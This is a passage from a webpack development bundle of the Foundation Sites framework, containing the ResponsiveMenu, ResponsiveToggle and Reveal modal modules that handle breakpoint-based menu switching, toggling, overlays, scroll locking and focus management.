this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function _makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n 